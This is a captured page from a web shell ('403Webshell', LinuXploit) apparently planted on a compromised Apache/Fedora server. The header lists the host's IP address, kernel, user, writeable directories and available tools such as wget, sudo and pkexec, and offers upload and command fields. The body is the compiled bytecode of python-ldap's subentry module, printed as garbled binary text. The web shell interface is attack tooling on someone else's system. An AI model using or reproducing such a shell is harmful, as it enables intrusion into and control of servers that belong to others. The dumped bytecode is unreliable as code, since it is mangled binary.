403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/ldap/schema/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/ldap/schema/subentry.pyo
Gc	@sdZddkZddkZddkTddklZeiiZhZxKe	D]@Z
ee
Ze
edoeeei<eiee<nqWWeiZdfdYZdd	ZdS(
s
ldap.schema.subentry -  subschema subentry handling

See http://python-ldap.sourceforge.net for details.

\$Id: subentry.py,v 1.23 2008/03/10 08:34:30 stroeder Exp $
iN(t*(tUserDicttschema_attributet	SubSchemacBseZdZdZddZddZdZdZddZ	ddZ
dZd	Zd
Z
dddd
ZRS(c	Cs!h|_h|_x7tiD])}tii|i|<h|i|<qWtii|}xtD]}|i|p||oqenxtd||D]r}t|}||}||i||i
<t|do/x,|iD]}|i
|i||<qWqqWqeWdS(s[
      sub_schema_sub_entry
          Dictionary containing the sub schema sub entry
      tnamesN(
tname2oidtsedtSCHEMA_CLASS_MAPPINGtvaluestldaptcidicttSCHEMA_ATTRSthas_keytfiltertNonetget_idthasattrR(	tselftsub_schema_sub_entrytctet	attr_typet
attr_valuetse_classtse_instancetname((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyt__init__s,		


'cCsh}x|iiD]p}xg|i|iD]R}t|}y|t|i|Wq0tj
o|g|t|<q0Xq0WqW|S(sB
    Returns a dictionary containing the sub schema sub entry
    (RtkeysRtstrtSCHEMA_ATTR_MAPPINGtappendtKeyError(RtentryRtsetse_str((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyt
ldap_entry9sc	Cs|i|}|og}x|iD]h}||}xU|D]M\}}y+t|||jo|i|nWq>tj
oq>Xq>Wq'Wn
|i}|S(sf
    Returns a list of OIDs of all available schema
    elements of a given schema element class.
    (RRtgetattrRtAttributeError(	Rtschema_element_classtschema_element_filterstavail_setresulttse_keyR!tfktfv((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytlistallJs


c	Cs|i||}d}tiihg|6}x|D]}g||<q8Wx|D]}|i||d}|i|joqSnxP|ipdD]>}	|i|i|	|	}
y||
i	|WqqXqWqSW|S(sm
    Returns a ldap.cidict.cidict dictionary representing the
    tree structure of the schema elements.
    t_N(R.(
R-R	R
tget_objRt	__class__tsupRtgetR(RR&R'R(ttop_nodettreeR!tse_oidtse_objtstsup_oid((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyR4_s&cCs0|iddi}|i|i||S(s#
    Get an OID by name or OID
    t;i(tsplittstripRR2(RRt	nameoroidR5((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytgetoidscCs|i||i||}yt||}Wntj
o
d}nX|djo*|io |i||id|}n|S(s
    Get a possibly inherited attribute specified by name
    of a schema element specified by nameoroid.
    Returns None if class attribute is not set at all.
    
    Raises KeyError if no schema element is found by nameoroid.
    iN(RR=R$R%RR1tget_inheritedattr(RRR<RR!R)((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyR>s cCs#|i|i|i|||S(s-
    Get a schema element by name or OID
    (RR2R=(RRR<tdefault((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyR/sc	Csddk}|pg}|i|i|i|i||}|oDt|do4x1|D]%}t|||i|||qbWn|S(st
    Get a schema element by name or OID with all class attributes
    set including inherited class attributes
    iNR1(tcopyRR2R=RtsetattrR>(RRR<t	inheritedR@R!tclass_attr_name((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytget_inheritedobjs
+'cCsJ|it|}y|it|}Wntj
odSX|iSdS(sF
    Get the syntax of an attribute type specified by name or OID
    N(R=t
AttributeTypeRDRRtsyntax(RR<tat_oidtat_obj((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyt
get_syntaxsc
Cs|itddgfg}h}xK|D]C}|it|d}|o!|idjod||i<q+q+Wd}|i}xT|oL|i}x9||D]'}	|i|i	t|	oPqqW|}qW|S(so
    Returns OID of structural object class in object_class_list
    if any is present. Returns None else.
    tkindiN(
R4tObjectClassR/RRJtoidRtpopRR=(
Rtoc_listtoc_treet
struct_ocstoc_nameoroidtoc_seR)tstruct_oc_listRLt	child_oid((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytget_structural_ocs$	cCsA|it|}|o|iS|itddgfgSdS(s
    Return a list of the applicable AUXILIARY object classes
    for a STRUCTURAL object class specified by 'nameoroid'
    if the object class is governed by a DIT content rule.
    If there's no DIT content rule all available AUXILIARY
    object classes are returned.
    RJiN(R/tDITContentRuletauxR-RK(RR<tcontent_rule((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytget_applicable_aux_classessiicCs?tii}tii}g}|D] }||i|i||q#~}	h}
tiitii}}d|	jo/x,|i|iD]}
|
||
i	<qWnx|	o|	i
d}|
i|oqnd|
|<y|i||}Wn$t
j
o|oqqnXxt|iD]i}y(|i||i|i||}
Wn+t
j
o|oqd||<q-X|
||
i	<q-Wxt|iD]i}y(|i||i|i||}
Wn+t
j
o|oq
d||<qX|
||
i	<qW|	ig}|iD] }||i|i||q%~qWx/|iD]!}|i|o||=qaqaW|p|i|}|o|it|}|oxt|iD]i}y(|i||i|i||}
Wn+t
j
o|oq/d||<qX|
||
i	<qWxt|iD]i}y(|i||i|i||}
Wn+t
j
o|oqd||<q=X|
||
i	<q=Wx|iD]}|i|i||}|i|py|i||}
Wn!t
j
o|oqdqhXy||
i	=Wnt
j
onXy||
i	=Wqht
j
oqhXqqWqtqxn|ox||gD]}x|iD]}x|D]y\}}y|i||}Wn3t
j
o'|ot
d|n||=PqXt|||jo||=PqqWqWqWn||fS(s}
    Returns a 2-tuple of all must and may attributes including
    all inherited attributes of superior object classes
    by walking up classes along the SUP attribute.

    The attributes are stored in a ldap.cidict.cidict dictionary.

    object_class_list
        list of strings specifying object class names or OIDs
    attr_type_filter
        list of 2-tuples containing lists of class attributes
        which has to be matched
    raise_keyerror
        All KeyError exceptions for non-existent schema elements
	are ignored
    ignore_dit_content_rule
	A DIT content rule governing the structural object class
	is ignored
    s1.3.6.1.4.1.1466.101.120.111is0No attribute type found in sub schema by name %sN(R	tschemaRERKRR2R
RRRLRMRRRtmusttmaytextendR1RRUR/RVtnotsR$(Rtobject_class_listtattr_type_filtertraise_keyerrortignore_dit_content_ruleRERKt_[1]totobject_class_oidst	oid_cachetr_musttr_mayRHtobject_class_oidtobject_classtat_[2]t
structural_octdit_content_ruleta_oidtltafktafvtschema_attr_type((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pytattribute_typess-


(
(6

(
(


N(t__name__t
__module__RR#RR-R4R=R>R/RDRIRURYRt(((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyRs		 			
		ic
Cs|i}|idp |idp|idoddk}|i|}ti|i|}ti|_|i	|i
pd|ipd|i|i
}|djo
d}n9|idjo
t}n
|i}|i|d|}|i~nZddk}ddk}	|i|}
|	i|
dd	}|i|id
\}}|djotii|}nd}||fS(s
  Fetches a parsed schema entry by uri.
  
  If uri is a LDAP URL the LDAP server is queried directly.
  Otherwise uri is assumed to point to a LDIF file which
  is loaded with urllib.
  sldap:sldaps:sldapi:iNttattrstmax_entriesii(R;t
startswithtldapurltLDAPUrlR	t
initializet
initializeUrltVERSION3tprotocol_versiont
simple_bind_stwhotcredtsearch_subschemasubentry_stdnRRxRtread_subschemasubentry_stunbind_sturllibtldifturlopentLDIFRecordListtparsetall_recordsRZR(
turittrace_levelR{tldap_urlRptsubschemasubentry_dntsubschemasubentry_entrytschema_attrsRRt	ldif_filetldif_parsertparsed_sub_schema((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyturlfetchs40$


	


(t__doc__tldap.cidictR	tldap.schematldap.schema.modelsRR
RRtdirt_nametevalRdRRRRRR(((s8/usr/lib/python2.6/site-packages/ldap/schema/subentry.pyt<module>s


g

Youez - 2016 - github.com/yon3zu
LinuXploit